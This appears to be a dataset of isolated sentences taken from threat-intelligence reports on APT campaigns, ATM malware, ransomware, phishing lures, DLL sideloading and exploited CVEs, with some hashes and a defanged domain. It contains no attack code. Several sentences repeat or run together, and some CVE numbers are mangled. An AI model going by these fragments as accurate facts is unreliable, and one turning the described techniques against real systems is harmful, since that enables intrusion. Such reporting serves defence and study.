The vulnerability is bypassing most mitigations; however , as noted above , FireEye email and network products detect the malicious documents .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
In their current campaign , APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros .
APT32 actors continue to deliver the malicious attachments via spear-phishing emails .
APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel files to deliver their initial exploits .
Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time .
February saw three particularly interesting publications on the topic of macOS malware: a Trojan Cocoa application that sends system information including keychain data back to the attacker , a macOS version of APT28’s Xagent malware , and a new Trojan ransomware .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
To install and register the malicious shim database on a system , FIN7 used a custom Base64 encoded PowerShell script , which ran the sdbinst.exe” utility to register a custom shim database file containing a patch onto a system .
During the investigations , Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of services.exe” with their CARBANAK payload .
We have not yet identified FIN7’s ultimate goal in this campaign ,as we have either blocked the delivery of the malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we observed any data targeting or theft .
Figure 1 shows a sample phishing email used by HawkEye operators in this latest campaign .
Many groups leverage the regsvr32.exe application whitelisting bypass , including APT19 in their 2017 campaign against law firms .
The malware was initially distributed through a compromised software update system and then self-propagated through stolen credentials and SMB exploits , including the EternalBlue exploit used in the WannaCry attack from May 2017 .
The malware appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD (via Bitcoin) to decrypt the data .
The malware then builds two DLLs in memory – they are 32 and 64-bit DLLs that have identical functionality .
The malware continues by creating a service named mssecsvc2.0 with a binary path pointing to the running module with the arguments -m security .
The malware then writes the R resource data to the file C:\WINDOWS\tasksche.exe .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
Attaching with IDA Pro via WinDbg as in Figure 11 shows that the program counter points to the infinite loop written in memory allocated by flare-qdb .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor .
After the executable is executed ,it downloads Pony and Vawtrak malware variants to steal data .
Upon execution , it will communicate with an attacker-controller website to download a variant of the Pony malware , pm.dll” along with a standard Vawtrak trojan .
In this blog , FireEye Labs dissects this new ATM malware that we have dubbed RIPPER (due to the project name ATMRIPPER” identified in the sample) and documents indicators that strongly suggest this piece of malware is the one used to steal from the ATMs at banks in Thailand .
RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism .
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself .
This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices .
From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August .
Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before .
FireEye Labs recently identified a previously unobserved version of Ploutus , dubbed Ploutus-D , that interacts with KAL’s Kalignite multivendor ATM platform .
The samples we identified target the ATM vendor Diebold .
This blog covers the changes , improvements , and Indicators of Compromise (IOC) of Ploutus-D in order to help financial organizations identify and defend against this threat .
Ploutus-D also allows the attackers to enter the amount to withdraw (billUnits – 4 digits) and the number of cycles (billCount – 2 digits) to repeat the dispensing operation (see Figure 10) .
Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) .
Since Ploutus-D interacts with the Kalignite Platform , only minor modifications to the Ploutus-D code may be required to target different ATM vendors worldwide .
The threat actors used two publicly available techniques , an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process .
The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument .
We observed implementation of this bypass in the macro code to invoke regsvr32.exe , along with a URL passed to it which was hosting a malicious SCT file .
There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet .
Ordnance will be able to immediately generate shellcode after users provide the IP and Port that the shellcode should connect to or listenDarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category .
One of them – ipv4.dll – has been placed by the APT with what is , in fact , a downloader for other malicious components .
Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection .
First observed in mid-2014 , this malware shared code with the Bugat ( aka Feodo ) banking Trojan .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
Whitefly first infects its victims using a dropper in the form of a malicious.exe or .dll file that is disguised as a document or image .
CraP2P has frequently been used to distribute other malware such as Locky and Dridex , but also supported large scale spam campaigns for dating advertisement and pump-and-dump scams after the demise of Kelihos .
Once the LOWBALL malware calls back to the Dropbox account , the admin@338 will create a file called upload.bat which contains commands to be executed on the compromised computer .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " .
More recently , in May 2017 , APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company .
More recently , in May 2017 , APT33 appeared to target organizations in Saudi and South Korea using a malicious file that attempted to entice victims with job vacancies .
In fact , REDBALDKNIGHT has been targeting Japan as early as 2008 , based on the file properties of the decoy documents they've been sending to their targets .
In fact , REDBALDKNIGHT has been zeroing in on Japanese organizations as early asat least based on the file properties of the decoy documents they've been sending to their targets .
Carbanak is a backdoor used by the attackers to compromise the victim .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
The Korean-language Word document manual.doc appeared in Vietnam on January 17 , with the original author name of Honeybee .
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
For example , DeltaAlfa specifies a DDoS bot family identified as Alfa .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
This malware report contains analysis of one 32-bit Windows executable file , identified as a Remote Access Trojan ( RAT ) .
In one of the samples received for analysis , the US-CERT Code Analysis Team observed botnet controller functionality .
Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library ( .dll )Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The Leviathan also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations during this period .
The download name was " Zawgyi_Keyboard_L.zip " , and it dropped a " setup.exe " that contained several backdoor components , including an Elise " wincex.dll " ( a42c966e26f3577534d03248551232f3 , detected as Backdoor.Win32.Agent.delp ) .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
The Magic Hound campaign was also discovered using a custom dropper tool , which we have named MagicHound.DropIt .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
The HTA files contained job descriptions and links to job postings on popular employment websites .
These emails included recruitment-themed lures and links to malicious HTML application ( HTA ) files .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document .
This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files .
The archive contains an .exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon .
The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Analysts in our DeepSight Managed Adversary and Threat Intelligence ( MATI ) team have found a new backdoor , Backdoor.Powemuddy , new variants of Seedworm 's Powermud backdoor ( aka POWERSTATS ) , a GitHub repository used by the group to store their scripts , as well as several post-compromise tools the group uses to exploit victims once they have established a foothold in their network .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
The January 8 attack used a variant of the ThreeDollars delivery document , which we identified as part of the OilRig toolset based on attacks that occurred in August 2017 .
The email contained an attachment named Seminar-Invitation.doc , which is a malicious Microsoft Word document we track as ThreeDollars .
We also identified another sample of ThreeDollars , created on January 15 , 2017 with the file name strategy preparation.dot .
We had previously observed this author name in use once before , in the very first ThreeDollars document we collected that we had reported on in August 2017 .
The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document , but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated , this variant obtained its payload from multiple cells within the " Incompatible " worksheet .
During this testing , we saw document filenames that contain the C2 we witnessed in the targeted attack above , specifically the filenames XLS-withyourface.xls and XLS-withyourface – test.xls .
These samples appeared to have been created by OilRig during their development and testing activities , all of which share many similarities with the delivery document used in the recent OilRig attack against a Middle Eastern government , N56.15.doc ( 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00 ) that we have also included in Table 1 .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In the first week of May 2016 , FireEye 's DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region .
Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug .
Symantec has found evidence of Starloader files being named AdobeUpdate.exe , AcrobatUpdate.exe , and INTELUPDATE.EXE among others .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
In September 2015 , Kaspersky Lab 's Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network .
Symantec detects this threat as Backdoor.Nidiran .
Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer .
Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
To better understand how the adversary was operating and what other actions they had performed , CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts .
In a separate incident , CTU researchers identified a file named s.txt , which is consistent with the output of the Netview host-enumeration tool .
Thrip was attempting to remotely install a previously unknown piece of malware ( Infostealer.Catchamas ) on computers within the victim 's network .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
The malicious loader will use dynamic-link library ( DLL ) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe ( a normal file ) .
As we have noted in many earlier reports , attackers commonly use decoy files to trick victims into thinking a malicious document is actually legitimate .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
Even an experienced user can be fooled by downloading a malicious file that is apparently from adobe.com , since the URL and the IP address correspond to Adobe 's legitimate infrastructure .
According to Deepen , APT6 has been using spear phishing in tandem with malicious PDF and ZIP attachments or links to malware infected websites that contains a malicious SCR file .
Bellingcat also reported the domain had been used previously to host potential decoy documents as detailed in VirusTotal here using hxxp://voguextra.com/decoy.doc .
We identified an overlap in the domain voguextra.com , which was used by Bahamut within their " Devoted To Humanity " app to host an image file and as C2 server by the PrayTime iOS app mentioned in our first post .
While not detected at the time , Microsoft 's antivirus and security products now detect this Barium malicious file and flag the file as " Win32/ShadowPad.A " .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Like PLEAD , Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents .
The self-extracting RAR writes a legitimate executable , an actor-created DLL called Loader.dll and a file named readme.txt to the filesystem and then executes the legitimate executable .
Leader is Bookworm 's main module and controls all of the activities of the Trojan , but relies on the additional DLLs to provide specific functionality .
We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents , as well as several of the dynamic DNS domain names used to host C2 servers that contain the words " Thai " or " Thailand " .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
Another decoy slideshow associated with the Bookworm attack campaign contains photos of an event called Bike for Dad 2015 .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
The executable would install the real Ammyy product , but would also launch a file called either AmmyyService.exe or AmmyySvc.exe which contained the malicious payload .
The second , aptly titled " kontrakt87.doc " , copies a generic telecommunications service contract from MegaFon , a large Russian mobile phone operator .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
Careto 's Mask campaign we discovered relies on spear-phishing e-mails with links to a malicious website .
Sometimes , the attackers use sub-domains on the exploit websites , to make them seem more legitimate .
We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware " invisible " in the system .
The scanner was identified as the Acunetix Web Vulnerability Scanner which is a commercial penetration testing tool that is readily available as a 14-day trial .
The decoy documents dropped suggest that the targets are likely to be politically or militarily motivated , with subjects such as Intelligence reports and political situations being used as lure documents .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The first of which we call ' CONFUCIUS_A ' , a malware family that has links to a series of attacks associated with a backdoor attack method commonly known as SNEEPY ( aka ByeByeShell ) first reported by Rapid7 in 2013 .
At first glance CONFUCIUS_B looks very similar to CONFUCIUS_A , and they are also packaged in plain SFX binary files .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
We also believe that both clusters of activity have links to attacks with likely Indian origins , the CONFUCIUS_A attacks are linked to the use of SNEEPY/BYEBYESHELL and the CONFUCIUS_B have a loose link to Hangover .
The two malware families themselves are also very similar , and therefore we think that the shared technique is an indication of a single developer , or development company , behind both CONFUCIUS_A and CONFUCIUS_B .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
According to our statistics , as of the beginning of 2015 this botnet encompassed over 250 000 infected devices worldwide including infecting more than 100 financial institutions with 80% of them from the top 20 list .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
At first look , it pretends to be a Java related application but after a quick analysis , it was obvious this was something more than just a simple Java file .
Contextually relevant emails are sent to specific targets with attached documents that are packed with exploit code and Trojan horse programmes designed to take advantage of vulnerabilities in software installed on the target 's computer .
The authors of that report identify three primary tools used in the campaigns attributed to Hidden Lynx : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
The above network shows relationships between three tools used by Hidden Lynx during its VOHO campaign : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
Symantec during 2012 linked the Elderwood Project to Operation Aurora ; Trojan.Naid and Backdoor.Moudoor were also used in Aurora , by the Elderwood Gang , and by Hidden Lynx .
One e-mail carried a Microsoft PowerPoint file named " thanks.pps " ( VirusTotal ) , the other a Microsoft Word document named " request.docx " .
Around the same time , WildFire also captured an e-mail containing a Word document ( " hello.docx " ) with an identical hash as the earlier Word document , this time sent to a U.S. Government recipient .
The initially-observed " thanks.pps " example tricks the user into running the embedded file named ins8376.exe which loads a payload DLL named mpro324.dll .
In this case , the file used the software name " Cyberlink " , and a description of " CLMediaLibrary Dynamic Link Library " and listing version 4.19.9.98 .
This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL , depending on the malware sample .
Once BARIUM has established rapport , they spear-phish the victim using a variety of unsophisticated malware installation vectors , including malicious shortcut ( .lnk ) files with hidden payloads , compiled HTML help ( .chm ) files , or Microsoft Office documents containing macros or exploits .
This was the case in two known intrusions in 2015 , where attackers named the implant DLL " ASPNET_FILTER.DLL " to disguise it as the DLL for the ASP.NET ISAPI Filter .
In early 2016 the Callisto Group began sending highly targeted spear phishing emails with malicious attachments that contained , as their final payload , the " Scout " malware tool from the HackingTeam RCS Galileo platform .
The malicious attachments purported to be invitations or drafts of the agenda for the conference .
We encountered the first document exploit called " THAM luan - GD - NCKH2.doc " a few days ago , which appears to be leveraging some vulnerabilities patched with MS12-060 .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits .
The first attack started in early July with a ShimRatReporter payload .
In their Operation Tropic Trooper report , Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy .
The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched .
This technique hides the true C2 server from researchers that do not have access to both the rastls.dll and Sycmentec.config files .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
Upon successful exploitation , the attachment will install the trojan known as NetTraveler using a DLL side-loading attack technique .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
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We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
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We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
For example , Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2 This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP port 443 .
Previous reports have discussed Bisonal malware used in attacks against Japan , South Korea and Russia .
This particular sample we found targeted an organization in Russia and there is a specific system language check for Cyrillic and no others .
If it's Cyrillic and the command to the shell is not ‘ipconfig’ , the threat converts the command result text encoding from Cyrillic to UTF-16 .
Similar to the Bisonal variant targeting the Russian organization , this sample was also disguised as PDF document .
The contents of the decoy PDF is a job descriptions with the South Korean Coast Guard .
The installed EXE file is almost exactly the same as the DLL version of Bisonal variant used against the Russian organization .
ined in the archive is called DriverInstallerU.exe” but its metadata shows that its original name isInterenet Assistant.exe” .
In this sample , however , the module names were changed from actors and characters’ names to car models , namely BMW_x1” , BMW_x2” and up to BMW_x8” .
wuaupdt.exe is a CMD backdoor ,which can receive and execute CMD commands sent from C2 .
it has similar code logic as previous ones wuaupdt.exe in this attack appears in previous Donot attack , and C2 addresses are same to previous ones .
Other open source and semi-legitimate pen-testing tools like nbtscan and powercat are being used for mapping available resources and lateral movement as well .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
Throughout our investigation , we have found evidence that shows operational similarities between this implant and Gamaredon Group .
The techniques and modules employed by EvilGnome — that is the use of SFX ,persistence with task scheduler and the deployment of information stealing tools—remind us of Gamaredon Group’s Windows tools .
We can observe that the sample is very recent ,created on Thursday , July 4As can be observed in the illustration above ,the makeself script is instructed to run ./setup.sh after unpacking .
The ShooterAudio module uses PulseAudio to capture audio from the user's microphone .
makeself.sh is a small shell script that generates a self-extractable compressed tar archive from a directory .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
In a more recent version of the modified Gh0st RAT malware ,implemented dynamic packet flags which change the first five bytes of the header in every login request with the controller .
One hour later , Bemstour was used against an educational institution in Belgium .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016 ,when it was used in an attack against an educational institution in Hong Kong .
Bemstour was used again in June 2017 in an attack against an organization in Luxembourg .
Between June and September 2017 ,Bemstour was also used against targets in the Philippines and Vietnam .
Development of Bemstour has continued into 2019 .
Unlike earlier attacks when Bemstour was delivered using Buckeye's Pirpi backdoor , in this attack Bemstour was delivered to the victim by a different backdoor Trojan (Backdoor.Filensfer) .
The most recent sample of Bemstour seen by Symantec appears to have been compiled on March 23 , 2019 , eleven days after the zero-day vulnerability was patched by Microsoft .
Filensfer is a family of malware that has been used in targeted attacks since at least 2013 .
While Symantec has never observed the use of Filensfer alongside any known Buckeye tools , information shared privately by another vendor included evidence of Filensfer being used in conjunction with known Buckeye malware (Backdoor.Pirpi) .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
Buckeye's exploit tool ,as well as EternalSynergy ,can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victim computers .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
And the dropper execute the iassvcs.exe to make a side loading and make the persistence .
Over the past three years , Filensfer has been deployed against organizations in Luxembourg , Sweden , Italy , the UK , and the U.S .
Our analysis of this malware shows that it belongs to Hussarini , also known as Sarhust , a backdoor family that has been used actively in APT attacks targeting countries in the ASEAN region since 2014 .
OutExtra.exe is a signed legitimate application from Microsoft named finder.exe .
this malware is still actively being used against the Philippines .
Xagent” is the original filename Xagent.exe whereas seems to be the version of the worm .
Our technical analysis of the malware used in these attacks showed close ties to BS2005 backdoors from operation Ke3chang , and to a related TidePool malware family discovered by Palo Alto Networks in 2016 that targeted Indian embassies across the globe .
The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors .
We started connecting the dots when we discovered that the Okrum backdoor was used to drop a Ketrican backdoor , freshly compiled in 2017 .
In 2017 , the same entities that were affected by the Okrum malware and by the 2015 Ketrican backdoors again became targets of the malicious actors .
This time , the attackers used new versions of the RoyalDNS malware and a Ketrican 2017 backdoor .
According to ESET telemetry , Okrum was first detected in December 2016 , and targeted diplomatic missions in Slovakia , Belgium , Chile , Guatemala and Brazil throughout 2017 .
According to our telemetry , Okrum was used to target diplomatic missions in Slovakia , Belgium , Chile , Guatemala , and Brazil , with the attackers showing a particular interest in Slovakia .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
According to ClearSky , the suspected Lazarus operatives looked to leverage a vulnerability in outdated WinRAR file-archiving software that hackers have been exploiting since it was disclosed last month .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
Create a link file in the startup folder for AutoHotkeyU32.exe , allowing the attack to persist even after a system restart .
Such attacks highlight the need for caution before downloading files from unknown sources and enabling macro for files from unknown sources .
Its configuration utilities like Margarita allows the NOC (Network Operation Center) to customize tools based on requirements from 'Fine Dining' questionairies .
Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/exfiltration tools supporting all major operating systems like Windows (Bartender) , MacOS (JukeBox) and Linux (DanceFloor) .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
Additionally , the same DLL sideloading technique observed in the Visma attack was used , and many of the tools deployed by the APT10 shared naming similarities as well 1.bat , cu.exe , ss.rar , r.exe , pd.exe .
Most interestingly , Rapid7 observed the use of the Notepad++ updater gup.exe as a legitimate executable to sideload a malicious DLL (libcurl.dll) in order to deploy a variant of the UPPERCUT backdoor also known as ANEL .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
KHRAT is a backdoor trojan purported to be used with the China-linked cyberespionage group DragonOK .
Rapid7 reviewed malware discovered in the victim’s environment and found implants that used Dropbox as the C2 .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
The earliest use of the exploit ITW we were able to identify and confirm is a sample (e228045ef57fb8cc1226b62ada7eee9b) dating back to October 2018 (VirusTotal submission of 2018-10-29) with the RTF creation time 2018-10-23 .
Upon decrypting and executing , it drops two additional files wsc_proxy.exe” (legitimate Avast executable) and a malicious DLL wsc.dll” in the %TEMP% folder .
However , Beginning on 25 June 2019 , we started observing multiple commodity campaigns Mostly dropping AsyncRAT using the updated RTF weaponizer with the same exploit (CVE-2018-0798) .
In addition , a current ANY.RUN playback of our observed Elise infection is also available .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
